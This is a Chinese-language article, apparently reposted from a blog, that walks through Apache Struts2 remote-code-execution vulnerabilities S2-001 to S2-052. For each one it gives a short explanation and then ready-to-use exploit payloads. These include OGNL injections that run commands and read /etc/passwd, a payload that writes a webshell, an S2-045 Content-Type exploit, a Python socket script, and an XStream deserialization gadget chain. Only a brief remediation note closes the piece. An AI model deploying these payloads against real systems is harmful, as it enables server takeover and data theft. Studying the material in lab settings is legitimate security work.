漏洞
一、struts2漏洞 S2-001
漏洞原理
該漏洞因用戶提交表單數(shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用OGNL表達(dá)式%{value}進(jìn)行解析,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中。如注冊(cè)或登錄頁(yè)面,提交失敗后一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用%{value}對(duì)提交的數(shù)據(jù)執(zhí)行了一次OGNL 表達(dá)式解析,所以可以直接構(gòu)造 Payload進(jìn)行命令執(zhí)行。
復(fù)現(xiàn)
返回顯示2
漏洞存在
獲取web路徑
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
執(zhí)行命令
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
二、struts2漏洞 S2-005
原理
s2-005漏洞的起源源于S2-003(受影響版本: 低于Struts 2.0.12),struts2會(huì)將http的每個(gè)參數(shù)名解析為OGNL語(yǔ)句執(zhí)行(可理解為java代碼)。OGNL表達(dá)式通過(guò)#來(lái)訪問(wèn)struts的對(duì)象,struts框架通過(guò)過(guò)濾#字符防止安全問(wèn)題,然而通過(guò)unicode編碼(\u0023)或8進(jìn)制(\43)即繞過(guò)了安全限制,對(duì)于S2-003漏洞,官方通過(guò)增加安全配置(禁止靜態(tài)方法調(diào)用和類方法執(zhí)行等)來(lái)修補(bǔ),但是安全配置被繞過(guò)再次導(dǎo)致了漏洞,攻擊者可以利用OGNL表達(dá)式將這2個(gè)選項(xiàng)打開(kāi),S2-003的修補(bǔ)方案把自己上了一個(gè)鎖,但是把鎖鑰匙給插在了鎖頭上。
XWork會(huì)將GET參數(shù)的鍵和值利用OGNL表達(dá)式解析成Java語(yǔ)句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//會(huì)被轉(zhuǎn)化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
分析一下003
這里網(wǎng)上找了003的信息
其實(shí)S2-003是S2-005的前身,他的POC即為S-005的縮小版,因?yàn)镾2-003之后官方偷偷修改安全配置,默認(rèn)讓SecurityMemberAccess(管理ognl權(quán)限的類)的allowStaticMethodAccess為false,這里簡(jiǎn)單把S2-005的POC去掉&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)
這句話
http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
總體來(lái)說(shuō)
Struts2處理用戶請(qǐng)求時(shí),會(huì)調(diào)用攔截器處理ParametersInterceptor.setParameters裝載參數(shù).其中在執(zhí)行數(shù)據(jù)棧加載時(shí)會(huì)對(duì)傳入的參數(shù)name正則判斷是否存在非法字符.
之后執(zhí)行stack.setValue(name, value)進(jìn)一步解析name值.依次解析傳入的表達(dá)式造成注入
文章
https://zhzhdoai.github.io/2020/12/24/Struts2%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B9%8BS2-003/#pom-xml
復(fù)現(xiàn)
靶機(jī)查看是否成功寫(xiě)入
第二種方法
三、struts2漏洞s2-007
如果出現(xiàn)404,需要關(guān)閉當(dāng)前瀏覽器重開(kāi)。
age插入 ‘+(1+1)+’
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
找到EXP中的exec(‘id’)值,將id改為你想要執(zhí)行的命令即可,例如:exec(‘cat /etc/passwd’)
如果太差直接查看網(wǎng)頁(yè)源碼
四、struts2漏洞 S2-008
原理
主要是利用對(duì)傳入?yún)?shù)沒(méi)有嚴(yán)格限制,導(dǎo)致多個(gè)地方可以執(zhí)行惡意代碼,傳入?debug=command&expression=即可執(zhí)行OGNL表達(dá)式
復(fù)現(xiàn)
任意文件覆蓋
//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]
遠(yuǎn)程執(zhí)行命令
debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)
五、struts2漏洞 S2-009
原理
這個(gè)漏洞再次來(lái)源于s2-003、s2-005
struts2對(duì)s2-003的修復(fù)方法是禁止靜態(tài)方法調(diào)用,在s2-005中可直接通過(guò)OGNL繞過(guò)該限制,對(duì)于#
號(hào),同樣使用編碼\u0023
或\43
進(jìn)行繞過(guò);于是Struts2對(duì)s2-005的修復(fù)方法是禁止\
等特殊符號(hào),使用戶不能提交反斜線。
但是,如果當(dāng)前action中接受了某個(gè)參數(shù)example
,這個(gè)參數(shù)將進(jìn)入OGNL的上下文。所以,我們可以將OGNL表達(dá)式放在example
參數(shù)中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法來(lái)執(zhí)行它,從而繞過(guò)官方對(duì)#
、\
等特殊字符的防御。
復(fù)現(xiàn)
查看源碼 目錄WEB-INF/src/java/org/apache/struts2/showcase/ajax/Example5Action.java
查看路由
訪問(wèn)這個(gè)
構(gòu)建poc
/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true
六、struts2漏洞 S2-012
原理
如果在配置 Action 中 Result 時(shí)使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,例如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
這里 UserAction 中定義有一個(gè) name 變量,當(dāng)觸發(fā) redirect 類型返回時(shí),Struts2 獲取使用 ${name} 獲取其值,在這個(gè)過(guò)程中會(huì)對(duì) name 參數(shù)的值執(zhí)行 OGNL 表達(dá)式解析,從而可以插入任意 OGNL 表達(dá)式導(dǎo)致命令執(zhí)行。
復(fù)現(xiàn)
可以直接祭出s2-001中的回顯POC,因?yàn)檫@里是沒(méi)有沙盒,也沒(méi)有限制任何特殊字符(為什么?)。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
需要url編碼
七、struts2漏洞 S2-013
原理
Struts2 標(biāo)簽中 <s:a>
和 <s:url>
都包含一個(gè) includeParams 屬性,其值可設(shè)置為 none,get 或 all,參考官方其對(duì)應(yīng)意義如下:
- none - 鏈接不包含請(qǐng)求的任意參數(shù)值(默認(rèn))
- get - 鏈接只包含 GET 請(qǐng)求中的參數(shù)和其值
- all - 鏈接包含 GET 和 POST 所有參數(shù)和其值
<s:a>
用來(lái)顯示一個(gè)超鏈接,當(dāng)includeParams=all
的時(shí)候,會(huì)將本次請(qǐng)求的GET和POST參數(shù)都放在URL的GET參數(shù)上。在放置參數(shù)的過(guò)程中會(huì)將參數(shù)進(jìn)行OGNL渲染,造成任意命令執(zhí)行漏洞。
復(fù)現(xiàn)
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
如:http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
S2-014 是對(duì) S2-013 修復(fù)的加強(qiáng),在 S2-013 修復(fù)的代碼中忽略了 ${ognl_exp} OGNL 表達(dá)式執(zhí)行的方式,因此 S2-014 是對(duì)其的補(bǔ)丁加強(qiáng)。
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
八、struts2漏洞 S2-015
原理
漏洞產(chǎn)生于配置了 Action 通配符 *,并將其作為動(dòng)態(tài)值時(shí),解析時(shí)會(huì)將其內(nèi)容執(zhí)行 OGNL 表達(dá)式,例如:
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
上述配置能讓我們?cè)L問(wèn) name.action 時(shí)使用 name.jsp 來(lái)渲染頁(yè)面,但是在提取 name 并解析時(shí),對(duì)其執(zhí)行了 OGNL 表達(dá)式解析,所以導(dǎo)致命令執(zhí)行。在實(shí)踐復(fù)現(xiàn)的時(shí)候發(fā)現(xiàn),由于 name 值的位置比較特殊,一些特殊的字符如 / " \ 都無(wú)法使用(轉(zhuǎn)義也不行),所以在利用該點(diǎn)進(jìn)行遠(yuǎn)程命令執(zhí)行時(shí)一些帶有路徑的命令可能無(wú)法執(zhí)行成功。
還有需要說(shuō)明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新內(nèi)容中,刪除了 SecurityMemberAccess 類中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通過(guò) #_memberAccess['allowStaticMethodAccess']=true
來(lái)修改其值達(dá)到重獲靜態(tài)方法調(diào)用的能力。
復(fù)現(xiàn)
這里為了到達(dá)執(zhí)行命令的目的可以用 kxlzx 提到的調(diào)用動(dòng)態(tài)方法 (new java.lang.ProcessBuilder(‘calc’)).start() 來(lái)解決,另外還可以借助 Java 反射機(jī)制去間接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
可以構(gòu)造 Payload 如下:
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
直接回顯:
除了上面所說(shuō)到的這種情況以外,S2-015 還涉及一種二次引用執(zhí)行的情況:
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
這里配置了 <param name="errorMessage">${message}</param>
,其中 message 為 ParamAction 中的一個(gè)私有變量,這樣配置會(huì)導(dǎo)致觸發(fā)該 Result 時(shí),Struts2 會(huì)從請(qǐng)求參數(shù)中獲取 message 的值,并在解析過(guò)程中,觸發(fā)了 OGNL 表達(dá)式執(zhí)行,因此只用提交 %{1111*2} 作為其變量值提交就會(huì)得到執(zhí)行。這里需要注意的是這里的二次解析是因?yàn)樵?struts.xml 中使用 ${param} 引用了 Action 中的變量所導(dǎo)致的,并不針對(duì)于 type=“httpheader” 這種返回方式。
九、struts2漏洞 S2-016
原理
在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導(dǎo)航或是重定向前綴,但是這些前綴后面同時(shí)可以跟OGNL表達(dá)式,由于struts2沒(méi)有對(duì)這些前綴做過(guò)濾,導(dǎo)致利用OGNL表達(dá)式調(diào)用java靜態(tài)方法執(zhí)行任意系統(tǒng)命令。
復(fù)現(xiàn)
所以,訪問(wèn)http://your-ip:8080/index.action?redirect:OGNL表達(dá)式
即可執(zhí)行OGNL表達(dá)式。
執(zhí)行命令:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
url編碼結(jié)束后(一定要編碼)
獲取web目錄:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
寫(xiě)入webshell:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
十、struts2漏洞 S2-032
原理
Struts2在開(kāi)啟了動(dòng)態(tài)方法調(diào)用(Dynamic Method Invocation)的情況下,可以使用method:<name>
的方式來(lái)調(diào)用名字是<name>
的方法,而這個(gè)方法名將會(huì)進(jìn)行OGNL表達(dá)式計(jì)算,導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。
復(fù)現(xiàn)
直接請(qǐng)求如下URL,即可執(zhí)行id
命令:
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
十一、struts2漏洞 S2-045
原理
惡意用戶可在上傳文件時(shí)通過(guò)修改HTTP請(qǐng)求頭中的Content-Type值來(lái)觸發(fā)該漏洞,進(jìn)而執(zhí)行系統(tǒng)命令。
復(fù)現(xiàn)
修改如下數(shù)據(jù)包
poc1
Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
poc2
%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
十二、struts2漏洞 S2-046
原理
在使用基于Jakarta插件的文件上傳功能時(shí),滿足以下條件,會(huì)觸發(fā)遠(yuǎn)程命令執(zhí)行漏洞。
1.上傳文件的大?。ㄓ蒀ontent-Length頭指定)大于Struts2允許的最大大小(2GB)。
2.文件名內(nèi)容構(gòu)造惡意的OGNL內(nèi)容。
本次S2-046漏洞遠(yuǎn)程命令執(zhí)行漏洞需滿足以上條件,而S2-045的漏洞只需要Content-Type一個(gè)點(diǎn)就可以進(jìn)行遠(yuǎn)程命令執(zhí)行。
復(fù)現(xiàn)
與s2-045類似,但是輸入點(diǎn)在文件上傳的filename值位置,并需要使用\x00
截?cái)唷?/p>
由于需要發(fā)送畸形數(shù)據(jù)包,我們簡(jiǎn)單使用原生socket編寫(xiě)payload:
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
十三、struts2漏洞 S2-052
原理
Struts2-Rest-Plugin是讓Struts2能夠?qū)崿F(xiàn)Restful API的一個(gè)插件,其根據(jù)Content-Type或URI擴(kuò)展名來(lái)判斷用戶傳入的數(shù)據(jù)包類型,有如下映射表:
擴(kuò)展名 | Content-Type | 解析方法 |
---|---|---|
xml | application/xml | xstream |
json | application/json | jsonlib或jackson(可選) |
xhtml | application/xhtml+xml | 無(wú) |
無(wú) | application/x-www-form-urlencoded | 無(wú) |
無(wú) | multipart/form-data | 無(wú) |
jsonlib無(wú)法引入任意對(duì)象,而xstream在默認(rèn)情況下是可以引入任意對(duì)象的(針對(duì)1.5.x以前的版本),方法就是直接通過(guò)xml的tag name指定需要實(shí)例化的類名:
<classname></classname>
//或者
<paramname class="classname"></paramname>
所以,我們可以通過(guò)反序列化引入任意類造成遠(yuǎn)程命令執(zhí)行漏洞,只需要找到一個(gè)在Struts2庫(kù)中適用的gedget。
復(fù)現(xiàn)
由于rest-plugin會(huì)根據(jù)URI擴(kuò)展名或Content-Type來(lái)判斷解析方法,所以我們只需要修改orders.xhtml為orders.xml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數(shù)據(jù)。
所以,最后發(fā)送的數(shù)據(jù)包為:
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
以上數(shù)據(jù)包成功執(zhí)行的話,會(huì)在docker容器內(nèi)創(chuàng)建文件/tmp/success
,執(zhí)行docker-compose exec struts2 ls /tmp/
即可看到。
此外,我們還可以下載一個(gè)jspx的webshell:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-cciMzDSr-1657700149004)(01.png)]
還有一些更簡(jiǎn)單的利用方法,就不在此贅述了。
修復(fù)
struts2.5.13中,按照xstream給出的緩解措施( http://x-stream.github.io/security.html ),增加了反序列化時(shí)的白名單:文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-463985.html
protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
if (invocation.getAction() instanceof ModelDriven) {
stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
}
stream.addPermission(NullPermission.NULL);
stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
stream.addPermission(ArrayTypePermission.ARRAYS);
stream.addPermission(CollectionTypePermission.COLLECTIONS);
stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}
但此時(shí)可能會(huì)影響以前代碼的業(yè)務(wù)邏輯,所以謹(jǐn)慎升級(jí),也沒(méi)有特別好的辦法,就是逐一排除老代碼,去掉不在白名單中的類。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-463985.html
到了這里,關(guān)于struts2漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!